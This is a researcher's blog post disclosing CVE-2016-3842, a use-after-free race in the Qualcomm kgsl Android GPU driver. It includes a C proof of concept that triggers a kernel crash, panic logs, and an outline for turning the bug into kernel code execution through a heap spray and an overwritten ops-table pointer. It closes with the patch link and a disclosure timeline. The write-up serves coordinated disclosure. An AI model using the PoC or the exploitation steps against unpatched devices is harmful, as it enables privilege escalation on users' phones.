Retme的未来道具研究所

世界線の収束には、逆らえない

This issue has been released in the Aug 2016 Nexus public bulletin.

https://source.android.com/security/bulletin/2016-08-01.html    

Seems the issue has been assigned two CVE numbers,but they are fixed by a same patch.

Another CVE is CVE-2016-2504 found by Adam Donenfeld.

I cannot figure out the difference between two CVEs (or maybe they are totally describing the same issue lol), so in this article I just describe the original issue I report to Google.

Technical details:

The Qualcomm MSM GPU driver(a.k.a. kgsl driver) provide an ioctl command IOCTL_KGSL_GPUMEM_ALLOC which allow user application to allocate GPU shared memory .
In this function,driver will create a 'kgsl_mem_entry' to describe a block of allocated memory.

While one thread send IOCTL_KGSL_GPUMEM_ALLOC to kgsl driver,function 'kgsl_mem_entry_attach_process' will assign an id for 'kgsl_mem_entry'  by calling idr_alloc. 
At this moment another thread may send IOCTL_KGSL_GPUMEM_FREE_ID to free the new allocated 'struct kgsl_mem_entry' before 'kgsl_ioctl_gpumem_alloc' return.

So the function 'kgsl_ioctl_gpumem_alloc' will continue use the freed 'kgsl_mem_entry'.

Just as following note written by developer in patch file:

"If we add the mem entry pointer in the process idr and rb tree
too early, other threads can do operations on the entry by
guessing the ID or GPU address before the object gets returned
by the creating operation."

Actually the ID of mem entry is easy to guess, the first entry you allocated in kernel will always be assigned ID=1,
so you can trigger the bug with following code:

PoC:

void kgsl2(){

  int fd = open("/dev/kgsl-3d0",0);

  struct kgsl_gpumem_alloc arg;
  struct kgsl_gpumem_free_id arg_free;
  int ret = 0;

  arg.gpuaddr = 0x1000;
  arg.size = 0x40;
  arg.flags = 0x1000008;

  int pid = fork();
  if(pid){
      while(1){
        arg_free.id = 1;
        ioctl(fd,IOCTL_KGSL_GPUMEM_FREE_ID, &arg_free);
      }
  }

    ret = ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC, &arg);
    if(ret){
      perror("alloc");
    }

}

int main(){
    
    kgsl2();
    return 0;
}

Panic:

<1>[   96.006342] Unable to handle kernel NULL pointer dereference at virtual address 0000000c
<1>[   96.006370] pgd = ffffffc0303dd000
<1>[   96.006379] [0000000c] *pgd=0000000000000000
<0>[   96.006403] Internal error: Oops: 96000005 [#1] PREEMPT SMP
<4>[   96.006422] CPU: 2 PID: 5898 Comm: report Tainted: G        W    3.10.73-g8c0675f #1
<4>[   96.006432] task: ffffffc05ac7d600 ti: ffffffc03cd54000 task.ti: ffffffc03cd54000
<4>[   96.006457] PC is at msm_iommu_map_range+0x8c/0x344
<4>[   96.006468] LR is at msm_iommu_map_range+0x6c/0x344
<4>[   96.006478] pc : [<ffffffc0009eb5e8>] lr : [<ffffffc0009eb5c8>] pstate: 80000145
<4>[   96.006485] sp : ffffffc03cd57b60
<4>[   96.006493] x29: ffffffc03cd57b60 x28: ffffffc03cd54000 
<4>[   96.006507] x27: 0000000000000001 x26: 0000000000000000 
<4>[   96.006521] x25: ffffffc03cd57bf0 x24: 0000000000100000 
<4>[   96.006536] x23: 00000000e8000000 x22: ffffffc001afe000 
<4>[   96.006551] x21: 0000000000000000 x20: ffffffc0b655c4c0 
<4>[   96.006566] x19: 0000000000100000 x18: ffffffc03cd57968 
<4>[   96.006581] x17: 0000000000000000 x16: 0000000000000000 
<4>[   96.006595] x15: 0000000000000000 x14: 0ffffffffffffffe 
<4>[   96.006610] x13: 0000000000000010 x12: 0101010101010101 
<4>[   96.006625] x11: 7f7f7f7f7f7f7f7f x10: 765e6e735e787173 
<4>[   96.006640] x9 : 7f7f7f7f7f7f7f7f x8 : 000e773888717246 
<4>[   96.006655] x7 : 0000000000000018 x6 : ffffffc0009eb55c 
<4>[   96.006669] x5 : ffffffc0b655c4c0 x4 : 0000000000000000 
<4>[   96.006684] x3 : 0000000000000000 x2 : ffffffc0b9e6c118 
<4>[   96.006699] x1 : ffffffc0b9f03018 x0 : 0000000000000012 
<4>[   96.006713] 
<0>[   96.006722] Process report (pid: 5898, stack limit = 0xffffffc03cd54058)
<4>[   96.006731] Call trace:
<4>[   96.006744] [<ffffffc0009eb5e8>] msm_iommu_map_range+0x8c/0x344
<4>[   96.006756] [<ffffffc0009e6388>] iommu_map_range+0x20/0x34
<4>[   96.006776] [<ffffffc00057f47c>] kgsl_iommu_map+0x1ac/0x1f8
<4>[   96.006788] [<ffffffc00057c174>] kgsl_mmu_map+0x94/0x114
<4>[   96.006807] [<ffffffc00056c81c>] kgsl_mem_entry_attach_process.isra.26+0x120/0x170
<4>[   96.006819] [<ffffffc00056d098>] kgsl_ioctl_gpumem_alloc+0x64/0x144
<4>[   96.006833] [<ffffffc00056f488>] kgsl_ioctl_helper+0x220/0x2b8
<4>[   96.006844] [<ffffffc00056f53c>] kgsl_ioctl+0x1c/0x28
<4>[   96.006862] [<ffffffc00030c1e0>] do_vfs_ioctl+0x4a8/0x57c
<4>[   96.006874] [<ffffffc00030c310>] SyS_ioctl+0x5c/0x88
<0>[   96.006888] Code: 35000700 b9407040 910243b9 b9009fa0 (b9400eb4) 
<4>[   96.006927] ---[ end trace 221b98014bd

Poison overwritten message:

<3>[  181.749195] =============================================================================
<3>[  181.749229] BUG kmalloc-192 (Tainted: G        W   ): Poison overwritten
<3>[  181.749246] -----------------------------------------------------------------------------
<3>[  181.749246] 
<4>[  181.749268] Disabling lock debugging due to kernel taint
<3>[  181.749289] INFO: 0xffffffc0af755f88-0xffffffc0af755f8f. First byte 0x0 instead of 0x6b
<3>[  181.749332] INFO: Allocated in _gpumem_alloc.constprop.11+0xe0/0x220 age=0 cpu=2 pid=1678
<3>[  181.749360]     alloc_debug_processing+0xc8/0x16c
<3>[  181.749387]     __slab_alloc.isra.20.constprop.27+0x27c/0x2dc
<3>[  181.749411]     kmem_cache_alloc_trace+0x74/0x1c8
<3>[  181.749434]     _gpumem_alloc.constprop.11+0xdc/0x220
<3>[  181.749459]     kgsl_ioctl_gpumem_alloc+0x40/0x18c
<3>[  181.749485]     kgsl_ioctl_helper+0x2c4/0x340
<3>[  181.749508]     kgsl_ioctl+0x3c/0x50
<3>[  181.749532]     vfs_ioctl+0x60/0x74
<3>[  181.749555]     do_vfs_ioctl+0x98/0x610
<3>[  181.749577]     SyS_ioctl+0x70/0xac
<3>[  181.749603]     cpu_switch_to+0x48/0x4c
<3>[  181.749633] INFO: Freed in kgsl_mem_entry_destroy+0xac/0x1a4 age=0 cpu=1 pid=1680
<3>[  181.749658]     free_debug_processing+0x204/0x2ac
<3>[  181.749680]     __slab_free+0x1b8/0x2cc
<3>[  181.749703]     kfree+0x218/0x220
<3>[  181.749726]     kgsl_mem_entry_destroy+0xa8/0x1a4
<3>[  181.749750]     _sharedmem_free_entry+0x214/0x22c
<3>[  181.749774]     kgsl_ioctl_gpumem_free_id+0x158/0x164
<3>[  181.749799]     kgsl_ioctl_helper+0x2c4/0x340
<3>[  181.749822]     kgsl_ioctl+0x3c/0x50
<3>[  181.749844]     vfs_ioctl+0x60/0x74
<3>[  181.749867]     do_vfs_ioctl+0x98/0x610
<3>[  181.749889]     SyS_ioctl+0x70/0xac
<3>[  181.749913]     cpu_switch_to+0x48/0x4c
<3>[  181.749936] INFO: Slab 0xffffffbc06da9480 objects=28 used=28 fp=0x          (null) flags=0x4080
<3>[  181.749956] INFO: Object 0xffffffc0af755f80 @offset=8064 fp=0xffffffc0af757180

Exploitable?

I say probably yes,but not stable.

I'd like to share some ideas on its exploitation,honestly I didn't finish it yet.
For me, only stable & universal rooting exploit is worth developing,so I didn't pay much time on this issue.

To avoid a kernel panic during exploiting this bug,you have to refill the freed mem_entry in a short time,
at least before the allocator thread reach 'msm_iommu_map_range'.

I tried several ways to spray kernel heap and refill it, the best way I choosed can have only 40% success rate (kernel may crash on failure). That way is spraying heap by seccomp-bpf, mentioned by Project Zero in last year.(http://googleprojectzero.blogspot.jp/2015/01/exploiting-nvmap-to-escape-chrome.html)  Note that seccomp-bpf can only be used  to spray in kernel 3.10, in later version of kernel the bpf prog will not be allocated in kmalloc-cache anymore. If the exploit refill the object successfully,controlling PC register is not a big problem.


In mem entry,there is a pointer of ops table named 'kgsl_memdesc_ops'  which can be controlled by attacker:

struct kgsl_mem_entry {
    struct kref refcount;
    struct kgsl_memdesc memdesc;
    void *priv_data;
    struct rb_node node;
    unsigned int id;
    struct kgsl_process_private *priv;
    int pending_free;
};

/* shared memory allocation */
struct kgsl_memdesc {
    struct kgsl_pagetable *pagetable;
    void *hostptr;
    unsigned int hostptr_count;
    unsigned long useraddr; 
    unsigned int gpuaddr;
    phys_addr_t physaddr;
    size_t size;
    unsigned int priv; 
    struct scatterlist *sg;
    unsigned int sglen; 
    struct kgsl_memdesc_ops *ops;   /* ====== the POINTER of ops you can control */ 
    unsigned int flags; 
    struct device *dev;
    struct dma_attrs attrs;
};

struct kgsl_memdesc_ops {
    unsigned int vmflags;
    int (*vmfault)(struct kgsl_memdesc *, struct vm_area_struct *,
               struct vm_fault *);
    void (*free)(struct kgsl_memdesc *memdesc);
    int (*map_kernel)(struct kgsl_memdesc *);
    void (*unmap_kernel)(struct kgsl_memdesc *);
}; 

By overwritting the pointer of kgsl_memdesc_ops and making it point to the first gadget of your ROP/JOP chain,you can finally achieve a kernel code execution.

Patch:

https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa

Time line:

Apr 25, 2016 - reported the issue to Google
May 5, 2016 - Google reviewed the issue and set the severity to Critical
Jun 29, 2016 - CVE-2016-3842 assigned
Aug 1, 2016 - released in the Aug 2016 Nexus public bulletin

See also:

Another vulnerability found in kgsl driver,fixed in June 2016.
http://retme.net/index.php/2016/06/12/CVE-2016-2468.html